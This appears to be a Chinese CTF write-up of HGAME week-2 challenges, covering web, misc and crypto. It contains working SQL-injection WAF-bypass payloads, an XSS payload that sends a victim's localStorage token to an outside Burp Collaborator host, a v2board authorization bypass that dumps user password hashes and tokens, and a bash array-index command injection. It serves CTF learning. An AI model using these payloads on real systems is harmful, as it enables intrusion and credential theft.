

## web

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### Git Leakage

使用 `dirsearch` 扫描目标网站, 发现存在 `.git` 泄漏.

使用 `githack` 工具获得泄漏的 `This_is_flag` 文件.

```
python3 GitHack.py http://week-2.hgame.lwsec.cn:32147/.git/
```

得到flag.

```
hgame{Don't^put*Git-in_web_directory}
```

### v2board

一个近期发现的v2board机场面板越权漏洞.

首先注册一个账号, 拿到一个 `auth`.

```
Authorization:
MzQxMTI4MTQ1NUBxcS5jb206JDJ5JDEwJEZMTEhsbXFNbGNYb0gzMm9NWC45S3UwNE5YZmJtTXRrMHRlZ
Xd3UmlVbmN4dHN2RU5xWmNt
```

然后访问 `/user/info` 接口, 将上面获得的 `auth` 添加到请求报文中, 发送报文. 此时该 `auth` 写入了Redis缓存中.

之后, 携带该请求头即可访问所有 `admin` 接口, 可以登陆 `/api/v1/admin/user/fetch` 得到目标 `token` 数据.

```
{
  "data": [
    {
      "id": 6,
      "invite_user_id": null,
      "telegram_id": null,
      "email": "hacker@hacker.com",
      "password": "$2y$10$dWcRJoguJdQgth0.kr903.S2ZUtfZlIvVo7cig.OSgGErIsKOJ7wm",
      "password_algo": null,
      "password_salt": null,
      "balance": 0,
      "discount": null,
      "commission_type": 0,
      "commission_rate": null,
      "commission_balance": 0,
      "t": 0,
      "u": 0,
      "d": 0,
      "transfer_enable": 0,
      "banned": 0,
      "is_admin": 0,
      "is_staff": 0,
      "last_login_at": 1673698511,
      "last_login_ip": null,
      "uuid": "9da9d80d-e28d-4bc7-bec1-9ff16cb1b689",
      "group_id": null,
      "plan_id": null,
      "remind_expire": 1,
      "remind_traffic": 1,
      "token": "d84d14482972dfd446f2057f9dc90e77",
      "remarks": null,
      "expired_at": 0,
      "created_at": 1673698511,
      "updated_at": 1673698511,
      "total_used": 0,
      "subscribe_url": "http://\n/week-2.hgame.lwsec.cn:32632/api/v1/client/subscribe?token=d84d14482972dfd446f2057f9dc90e77",
      "id": 1,
      "invite_user_id": null,
      "telegram_id": null,
      "email": "admin@example.com",
      "password": "$2y$10$JLs3LJrKqsTly8K.w9KzI.e0Jt\7oU9W3gQYcUDSRjg1LReimLLTS",
      "password_algo": null,
      "password_salt": null,
      "balance": 0,
      "discount": null,
      "commission_type": 0,
      "commission_rate": null,
      "commission_balance": 0,
      "t": 0,
      "u": 0,
      "d": 0,
      "transfer_enable": 0,
      "banned": 0,
      "is_admin": 1,
      "is_staff": 0,
      "last_login_at": null,
      "last_login_ip": null,
      "uuid": "85a1c66e-d736-42b2-a0da-69f6fb066e90",
      "group_id": 1,
      "plan_id": 1,
      "remind_expire": 1,
      "remind_traffic": 1,
      "token": "39d580e71705f6abac9a414def74c466",
      "remarks": null,
      "expired_at": 0,
      "created_at": 1673263308,
      "updated_at": 1673267067,
      "total_used": 0,
      "plan_name": "Vidar-TeamPlane\ud83d\udee9",
      "subscribe_url": "http://\n/week-2.hgame.lwsec.cn:32632/api/v1/client/subscribe?token=39d580e71705f6abac9a414def74c466"
    }
  ],
  "total": 2
}
```

## Search Commodity

首先是弱密码爆破, 使用的[Fuzz字典](#).

week1的iot签到题提供的附件就是**top19576.txt**...

```
final password: admin123
```

爆破出来后是一个查询系统, 不同条目对应的是不同的 `item`.

尝试后发现是 `sql`, 一开始怀疑是盲注, 进行了一番尝试, 但没有成果.

有两种报错形式, 分别是 `Not found` 和 `Error`, 后者是 `sql` 语句报错+过滤报错.

然后不断尝试, 绕过 `WAF`.

一套注下来的 `payload` 如下.

```
1+--
数字型注入

1+/*!group*/+/*!by*/+3
1+/*!group*/+/*!by*/+4

-1+/*!uNIon*/+/*!sELEct*/+1,/*!DataBASE()*/+3
se4rch

-1+/*!uNIon*/+/*!sELEct*/+1,/*!groUp_conCat(tAbLe_nAme)*/+3+/*!fRom*/+/*!inFOrmat
ion_scHema.tables*/+/*!wHEre*/+/*!table_schema*/+like+'se4rch'
5ecret15here,L1st,user1nf0
```

```
-1+/*!uNIon*+/*!sELEct*+1,/*!groUp_conCat(CoLuMn_nAme)*/,3+/*!fRom*+/*!inForma
tion_sCHema.coLuMns*+/*!wHEre*+/*!table_schema*+like+'se4rch'
f14gggg1shere,id,name,number,id,p4ssw0rd,u5ern4me

-1+/*!uNIon*+/*!sELEct*+1,f14gggg1shere,3+/*!fRom*+5secret15here
hgame{4_M4n_WH0_Kn0ws_We4k-P4ssw0rd_And_SQL!}
```

总的就是 内联注释绕过 + 大小写绕过.

## Designer

xss注入, 还有一种方法是xss打csrf, 这里就只说前者.

首先, 找到对应的xss注入点.

然后查看一下附件, 找到了关键词黑名单.

```
app.get("/button/preview", (req, res) => {
  const blacklist = [
    /on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/,
    /location/, /document/
  ]
  for (const key in req.query) {
    for (const item of blacklist) {
      if (item.test(key.trim()) || item.test(req.query[key].trim())) {
        req.query[key] = ""
      }
    }
  }
  res.render("preview", { data: req.query })
})
```

因为注入点在标签中, 感觉可以通过 href 属性+ js 协议进行一波xss注入.

先跳个弹窗确认一下.

```
3px 3px #000;"href="javascript:prompt('1','2')
```

顺利弹出, 确定注入点及注入方式.

xss的目的是窃取用户的cookie等信息, 窃取后转发给hacker.

在 button edit 页面, 存在 save, preview, submit 三种功能.

构造 payload, 使用 Unicode 编码绕过黑名单过滤.

```
3px 3px #000;"href="javascript:
fe\u0074ch('https://i6pr0n5rb7iyxu0tl8rw8ljpgvg16pv.burpcollaborator.net', {
  method: 'POST',
  mode: 'no-cors',
  body: lo\u0063a1s\u0074orage.getItem('token')
})
```

获取 token, 分解后获得 flag.

刚开始以为flag可能藏在cookie中, 询问学长后得知flag隐藏在localStorage的token中.

其实给的附件有提示, 但是没看出来😞.

## Misc

### Sign In Pro Max

先是一堆baseXX编码.

```
Part1, is seems like baseXX: QVl5Y3BNQjE1ektibnU3SnN6M0tGaQ==
```

- base16
- base32
- base64
- base36
- base58
- base62
- base91
- base85

第一层只有base64能解码出来.

```
base64: AYycpMB15zKbnu7JsZ3KFi
```

第二层有很多能解码出来的,只有第三个能用.

```
base36:      5279548817679884381448383799848238
base58 int: 102813690892338567867335675586602155325
base58 str: MY2TCZBTMEYTQ===
base62:      1614927063312461955349899048425145475088
```

第三层也有.

```
base32: f51d3a18
```

```
Part2, a hash function with 128bit digest size and 512bit block size:
c629d83ff9804fb62202e90b0945a323
```

128bit digest size and 512bit block size hash 🙌就是 MD5 加密,

```
c629d83ff9804fb62202e90b0945a323", 解密的结果为"f91c"!
f91c
```

```
Part3, a hash function with 160bit digest size and 512bit block size:
99f3b3ada2b4675c518ff23cbd9539da05e2f1f8
```

160bit digest size and 512bit block size hash 🙌就是 SHA1 加密,

```
解密成功, 结果是: 4952
```

```
Part4, the next generation hash function of part3 with 256bit block size and 64 rounds: 1838f8d5b547c012404e53a9d8c76c56399507a2b017058ec7f27428fda5e7db
```

👉 SHA256 加密.

```
1838f8d5b547c012404e53a9d8c76c56399507a2b017058ec7f27428fda5e7db
->
a3ed
```

```
Ufwy5 nx 0gh0jf61i21h, stb uzy fqq ymj ufwyx ytljymjw, its'y ktwljy ymj ktwrfy.
```

凯撒密码,偏移21位加密一下.

```
Part5 is 0bc0ea61d21c, now put all the parts together, don't forget the format.
```

然后以 `uuid` 格式合并到一起.

```
hgame{f51d3a18-f91c-4952-a3ed-0bc0ea61d21c}
```

## Tetris Master

存在非预期, ssh远程连接到靶机, 运行俄罗斯方块sh脚本, 直接 `ctrl+c` 停止文件运行, 可直接转入靶机终端.

`cat /flag` 即可获取flag.

## Tetris Master Revenge

不存在非预期, 但可以通过数组内命令执行来执行所需系统命令.

进入靶机后,在询问 `score` 时输入以下 `payload`,然后在游戏结束时可以获得 `.flag` 的内容.

```
arr[${cat /flag}]
```

bash会认为命令是数组索引, 于是就先执行命令, 再进行解析.

由于与与其输入内容不相符, 会进行报错, 但报错内容中含有命令的输出结果, 在 `.sh` 文件执行完毕, 也就是游戏退出后输出到标准输出中.

## Crypto

### Rabin

RSA算法的变种,.

以下为解密脚本, 四个输出中存在一个为预期的 `flag`.

```
import gmpy2
import codecs

def squareMod(c, mod):          # 模意义下开根, 找到 x, 使得 x^2 % mod = c
    assert(mod % 4 == 3)
```

```

    res = gmpy2.powmod(c, (mod+1)//4, mod)
    return res, mod - res

def getPlaintext(x, y, p, q):    # 假设  $m \% p = x$ ,  $m \% q = y$ , 求明文
    res = x*q*gmpy2.invert(q, p) + y*p*gmpy2.invert(p, q)
    return res % (p*q)

def solve(c, p, q):            # 已知 p,q, 解密 c
    px = squareMod(c, p)
    py = squareMod(c, q)

    for x in px:
        for y in py:
            yield getPlaintext(x, y, p, q)

c=int('4e072f435cbffbd3520a283b3944ac988b98fb19e723d1bd02ad7e58d9f01b26d622edea5e
e538b2f603d5bf785b0427de27ad5c76c656dbd9435d3a4a7cf556',16)

p=65428327184555679690730137432886407240184329534772421373193521144693375074983
q=98570810268705084987524975482323456006480531917292601799256241458681800554123

for msg in solve(c, p, q):
    res = hex(msg)[2:]
    if len(res) % 2 == 1:
        res = '0' + res

    print(codecs.decode(res, 'hex'))

```